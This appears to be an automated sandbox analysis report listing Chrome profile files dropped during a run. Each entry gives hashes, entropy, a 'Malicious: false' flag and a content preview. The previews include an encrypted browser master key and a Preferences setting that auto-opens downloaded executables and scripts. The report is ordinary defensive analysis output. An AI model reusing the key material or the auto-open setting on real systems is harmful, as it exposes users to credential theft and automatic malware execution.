Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307721965288924","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":19970},"server":"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"network_stats":{"srtt":26588},"server":"https://r4---sn-5hneknee.gvt1.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307721968644549","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307719910105882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":26383},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307719904566471","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"se

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\dc2c5d63-8eac-4814-a8a0-d6fb8acb440d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	5.535096656630726
Encrypted:	false
SSDEEP:	24:YY9RAeUqQ6H0UeEvmdvrfwUq0G1KUNQDqUNwO7wUoQ:YoieUqQ6UUeEvmd8UqTKUNBUNrwUB
MD5:	2976204D6B92EF8E025E1BDBC8D2518B
SHA1:	9719D2DD7648EB86A61D34684FA38E703D4D9159
SHA-256:	C16F908E1809E3929E979040C9BDAE387204240904DB6BD729CC54072D8DE5C0
SHA-512:	95BBB5F924ABBC4F0EA4748ED759EF7EDBDCFEBB23F9F3E7AF4619BC45E0329983DA09AE916BF83DF03C1797B94072F9D5D6C4750A7481B752C390709BC6365D
Malicious:	false
Reputation:	unknown
Preview:	{"expect_ct":[],"sts":[{"expiry":1692191158.666157,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.666161},{"expiry":1692192368.677631,"host":"OuKlWsMW1dkkbI1X/oi6o0Y95ZNSWnSoeaIXAEYPlv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660656368.677635},{"expiry":1671541558.7626,"host":"fJjUrPqhktMfiTHJX3Q0pJi/P12Q72DBgzzJqjlNC4o=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.762604},{"expiry":1692191158.699101,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.699104},{"expiry":1692191158.875158,"host":"5EdUoB7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.875161},{"expiry":1692190297.798627,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_obse

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8945
Entropy (8bit):	5.136964275893145
Encrypted:	false
SSDEEP:	192:1oW1XIYN88yy+FqAkh7N2+a080K1bcgqj0+tjEsXtScJ:1T7yxqb52yPtIsXtScJ
MD5:	F977D7D87270F85CD7319F37D9071945
SHA1:	361FC005B72DD4F69920A1C204CB468EFF4C4CDF
SHA-256:	4BD17753BFC3D8355D7E152FF5B1DBC46D68C4C33E2FC848B09405C197B1F967
SHA-512:	91882BAF649B16CFDC6786D3BDA2319040808B71564B1FDE5ED5E64EEC02C143DFCD8C65731D82F9890213FAA910AE728D03E0370DB98BBF7994F2BFF01637B1
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	14764
Entropy (8bit):	5.568145407996317
Encrypted:	false
SSDEEP:	384:IlQLlTXo1kXqKf/pUZNCgVLH2HftirUa2TW4T:LLl7o1kXqKf/pUZNCgVLH2HfcrUaSWk
MD5:	44AE1781D926FD0814FC6FBE8A82DA2F
SHA1:	B30A827D3D8C58F9FA58FF4CEEDEFF0643B34186
SHA-256:	6B44990540B4404629EFBC1D9948B2F5E9E9887C702784EA74AC278307340344
SHA-512:	4E2CB305504D7CFB7484B938F4B6F930B8318E3782969A1F447745CAC647D6E07EFA2838CAFF3215C7A353B83C1798A07C198227DC4DE3A0D8FB3807CE267A72
Malicious:	false
Reputation:	unknown
Preview:	{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13305692547366154","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"web

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Trusted Vault (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.839700558686836
Encrypted:	false
SSDEEP:	3:iKuohKaGub:i9ohVGE
MD5:	3D54D2DC3FF38B8C90ECBC725364EE12
SHA1:	CBC18B39ACD63996DA59DC4C4C9FA81F72141CEA
SHA-256:	A5CC1D05E8445FFEDD310C08E271A7D1CBB9E17E6D04F1BBB1D9E43A8DCE9EF9
SHA-512:	67C44A9BAD010DF1B79C36C579AF518294BE4CCA1BD43ED0B818DD222AE45803A51C90528E8B61506039522A911DE9547382704606F2FC368662FCE477B2327F
Malicious:	false
Reputation:	unknown
Preview:	v10.Z...~E..[.E./.....A.>.0KE.T

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e57450b2-c25c-4a78-8bf3-68c257a54508.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8475
Entropy (8bit):	5.127080114330979
Encrypted:	false
SSDEEP:	192:1oW1XIY988yy+FqvN2+a080K1bcgqj0+tjEsXtScK:1TXyxqF2yPtIsXtScK
MD5:	95020AEC0A995ED7FED855ACB25C3E35
SHA1:	DC2ACA59CA09A18CE0B77A42F86F05E5CE0AE9D8
SHA-256:	4139C17162E17A6086C17364994FAF63D47F2A1ABE9712FEE8BCDAF086043CBD
SHA-512:	9C81367899FDD0E1279FE61AA31A3DF0C1763AF8EEC976A2A71D97D02582404DC522E262C26CB4F88EEF17CE105DE4D63BC2DF4421110445D758D5793962E306
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\26b4ffcb-1831-420f-bdfc-f0a076dad03d\model.tflite (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	5.826576770481211
Encrypted:	false
SSDEEP:	6144:4i8mNiZGi+jiwubrNEOB37+rNiyykvXpqQC7SaPGNFzq/RnfAmn+qGk07U0z9zMl:WqEGi+GwGrNv9+r8bkvXpqQMLuNy5YmJ
MD5:	6D7C2F9E94664539DEC99B3233301B01
SHA1:	85812B004742CC1C211C92911131CE270F8BA769
SHA-256:	A0956386DC64FD9F4883C8741F950CD60A56859616B159C9E4251C9EB0AC5534
SHA-512:	4D06917F30651C3BF13C509AAE79793B3F1EC93DE12179464B18FD9FD16C7BF466884B1C70E425D7E937ADDE341CF24BD08F19A132BBB9683E804F29B4ED0C33
Malicious:	false
Reputation:	unknown
Preview:	....TFL3........................................4.......................%.......min_runtime_version.'..........................t...h...T...8...,.............................................................t........C...C..............x...d...X...<..........................>...........1.11.0..............J..............................j.............B@z...........f.@...................yw....z.......................w...........y.......y....i.....x............yy...y...xyw.x..........y....y..........zg...zyi..i.h...y....x..........y..x.y.y...x.......x....yx...y...........xxx.i..........y....y.......xzx.yxw.w.......y..yx...z.................................w.w..x.y....x....yy...h.......y..y...y........y........h....y............y....y.......x..y....y..y..w.x..........y....yx.x.......y....y........yx..y.y..f...i.x........yy..i.y...yy...y..x....x....x..y..yz...x..z....y....h..w.w..x.x......w..wi....xw...................h.e..........xy...y..x....y.y...............x..hxyx.zY......w....y...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\50577920-cc37-4af4-b80a-65c54a1deeec\model.tflite (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	27244
Entropy (8bit):	3.8842802707357547
Encrypted:	false
SSDEEP:	768:fUhIi/t/ZHNb6uqTKDW+y15z+3XBvd/JoL34F8CC6IYYr1lNKnTHa5xNSM+6O/gd:iIilRtb6uqTKDW+y15z+nBvd/JoL34Fw
MD5:	89932ADF9CC14986CA58687A6FAD996D
SHA1:	0F96CBF80B1D7AE823A4A78C44CE61ACD2020BE9
SHA-256:	68E66131713862F4418E14512883753CA275304E971A078D907C463F295194B9
SHA-512:	5C5E0AD32D94886D3E73544676FC8BC90694922CA5E11B82A6E63D1F02F0626642D2B8B0A1B7C72FAC1ED8DFFD63DBCB26185708A59950BC4077F489CD624DB6
Malicious:	false
Reputation:	unknown
Preview:	....TFL3.. ..........................................i..........................<.......serving_default.........`...............output_0........................inputs......,.......................CONVERSION_METADATA................min_runtime_version..... ...................................p...\...H...4... ...................................l...X...D...0.......................................t...l...d...\...T...L...D...<...4...,...$...................................................................................\|...t...l...d...\...T...L...D...<...4...,...$...................................................................................\|...t...l...d...\...T...L...D...<...4...,...$...................................................................................\|...t...l...d...\...T...L...D...<...4...,...$...................................................t...`...L...8...$...................................p...\...H...4... ...................................l...X...D...0...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\62de7d06-ac85-4d2d-8fb4-ff75d51e2fe0\model.tflite (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	13924
Entropy (8bit):	4.524411316778424
Encrypted:	false
SSDEEP:	96:6ZuzUpYY9WW1H9xjMqvo0zjCOgxcyR7dCMUdvRWqIC2s8vvcr17/eFt9n9nFWB5A:JQEWh9x7ghb4r7pi4nBf+
MD5:	DD91CF850364320FA627573BEAAA8BDE
SHA1:	05F312EB672A32EF95ADEFC51A0BDC688C4B71AA
SHA-256:	CA54E4D1D1AE7932CE97FEDE0717956905BD9E796779ACC4C1A0BA75737F91AC
SHA-512:	B65A5D07646FDE821BE8A281002C2DB233E40184CF2E397443D5D659BE25679F5370AFD3C32D594FD828EBB37799147522357C40167711BC27C26E71CE066104
Malicious:	false
Reputation:	unknown
Preview:	....TFL3.. .............................t...@...P...$5..............4...........N...........CONVERSION_METADATA.............M...........min_runtime_version.O...........................................x...p...h...P...<...(...................................t...`...L...8...$...............................................................x...p...h...`...X...P...H...@...8...0...(... ...................................................................................x...X.......N.......D............... ...............................................2.11.0..............1.14.0.............................................................................................................................................................. ...$...(...,...0...4...8...<...n............d3?...=..............Z=.x.>...............<............................b$.?..............k...............5?..............X?............'5.?..............j.............6.5?&...........N.X?6...............F...........0..>V...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	3.138546519832722
Encrypted:	false
SSDEEP:	3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l
MD5:	DE9EF0C5BCC012A3A1131988DEE272D8
SHA1:	FA9CCBDC969AC9E1474FCE773234B28D50951CD8
SHA-256:	3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590
SHA-512:	CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691724
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.5654483718208256
Encrypted:	false
SSDEEP:	3:MRO6:MX
MD5:	729CC0F524BFE7B4599C6E6E5BF38507
SHA1:	1782FB371769697DF5E6A47FA12F38EB5B2A7EDE
SHA-256:	D121222427CD64AA6E9BD08EA710DDDC5BAC8A85B3D4564E428B9DD84E0880FF
SHA-512:	1BD8FC3A8CDA3105FC0AAF73CC7E14022D386F240EF28B749EBCC16588B907A166585D67CB1C866E8AE07ACFF6B44157ABD60E5F270F3B6AFFE4F9D328A09651
Malicious:	false
Reputation:	unknown
Preview:	104.0.5112.81

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.070611275843948
Encrypted:	false
SSDEEP:	1536:eI71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:eI711NyBTOgd0HhmAnhqj3ry
MD5:	5B233C4AC40A250B2BEAD890E6897EE0
SHA1:	1577A533425FFB6387AC2CFEEC80283A958B4FAC
SHA-256:	19F6F5A2FC3347B392BD702D7CB8AF3C01F8CD3C0C1A9B130628939991D38851
SHA-512:	8AFA3AC6DC5004651834BAB5ECE5D72A66E4905C571B564293A518D53123BF000CBC9A2526C8E5C9F3439D74C8414A2268ADD0663C1AF0B7D948B1A3E91036C5
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	94796
Entropy (8bit):	3.743140901464744
Encrypted:	false
SSDEEP:	384:+12OPBPx0ZpX9CIvolEN9revB73yFj+Hv6GOBrcfFhOxUEU/SrAR8iqcb11lCO/l:g2Om+5tS62/8rPSXLunKUP1LH
MD5:	B05C95CE3F5B02D9C1C15AB3A800CC2C
SHA1:	93B8F132A99FDF447A1947DADC2D1A72E4765402
SHA-256:	6AE820270459AB22A7420BF766B3EAEF7842437973D3DC06A5B35288DF81BB77
SHA-512:	BD422A6864140086DDE01F66CDC8083F78B487812AC40320009B133C61B0BF332BCB6562B30BE413D924D95F17921A4AC28EADF790635E42FDC81BDD250956BC
Malicious:	false
Reputation:	unknown
Preview:	Hr.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....e8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Variations

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQan:YQ3Kq9X0dMgAEiLIM
MD5:	BC6142469CD7DADF107BE9AD87EA4753
SHA1:	72A9AA05003FAB742B0E4DC4C5D9EDA6B9F7565C
SHA-256:	B26DA4F8C7E283AA74386DA0229D66AF14A37986B8CA828E054FC932F68DD557
SHA-512:	47D1A67A16F5DC6D50556C5296E65918F0A2FCAD0E8CEE5795B100FE8CD89EAF5E1FD67691E8A57AF3677883A5D8F104723B1901D11845B286474C8AC56F6182
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Google\Chrome\User Data\aa1ab969-c2b4-4441-bcbf-5366639e44f7.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	94796
Entropy (8bit):	3.743140901464744
Encrypted:	false
SSDEEP:	384:+12OPBPx0ZpX9CIvolEN9revB73yFj+Hv6GOBrcfFhOxUEU/SrAR8iqcb11lCO/l:g2Om+5tS62/8rPSXLunKUP1LH
MD5:	B05C95CE3F5B02D9C1C15AB3A800CC2C
SHA1:	93B8F132A99FDF447A1947DADC2D1A72E4765402
SHA-256:	6AE820270459AB22A7420BF766B3EAEF7842437973D3DC06A5B35288DF81BB77
SHA-512:	BD422A6864140086DDE01F66CDC8083F78B487812AC40320009B133C61B0BF332BCB6562B30BE413D924D95F17921A4AC28EADF790635E42FDC81BDD250956BC
Malicious:	false
Reputation:	unknown
Preview:	Hr.................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....e8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\b30190da-1ab1-4759-9783-6f17b21c2a83.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	61167
Entropy (8bit):	6.070605636580308
Encrypted:	false
SSDEEP:	1536:0g71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:0g711NyBTOgd0HhmAnhqj3ry
MD5:	9F980DECA41A8ADBDE3A6B5B998753B6
SHA1:	0995456236CD1CC3F0AAE55E0984B4611D9C61F8
SHA-256:	F8178ADDE852051A07B2A61C1EC38809D88B7ACFD9EB576D69059B5C4784ABA6
SHA-512:	9133242D8F4B1A1889C2C32510E8920EF55469D0ED067ADA9988E67C61D4B9D66C8FDAEBC3D8A4728A1A4F3D72AB4482E6496D3488B16E1BABE1071E7C6CD8AA
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\b576be6e-acb5-4877-b7d2-08483cecd0bc.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.07060952871434
Encrypted:	false
SSDEEP:	1536:b871LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:b8711NyBTOgd0HhmAnhqj3ry
MD5:	B82E023AC48F2D4CAC79AA885A41D377
SHA1:	332073925717D522ADF0AB3DD6C5C100222617BB
SHA-256:	AF8FD533B352141754CD23F8FDFB3B51A841DC4D46AFD6D3330B9CDB2AA5260D
SHA-512:	1481AC657A643FA0F7524FDAF9EB93B8FDF68EECF21ED230C399DBC569D778E1F0C505053F553B546BBC4F5F073C0B0FAC5AC2EC08C8840726110DE17647914B
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\bd9f5a47-36db-4be3-a855-736e7b0f05a4.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.070610341238447
Encrypted:	false
SSDEEP:	1536:2D71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:2D711NyBTOgd0HhmAnhqj3ry
MD5:	708E25633DBBB891A4E8E2F72E8259DD
SHA1:	3D593D00C07AC0440D46E9E0073E6885F4FFB9E3
SHA-256:	32A69E45CE1B0C6F0F4391DD490E9426523EA6DBA1767A8BB22A2964DC2E9B5B
SHA-512:	E64DAC8ECEFCC7410175BA2684D00E289E2FAF9212B8427FCF062DD2548099C28081E23F30C16C25D9CB96140978DFF06EA78594C9737FE5A4EEB81077EA16FA
Malicious:	false
Reputation:	unknown
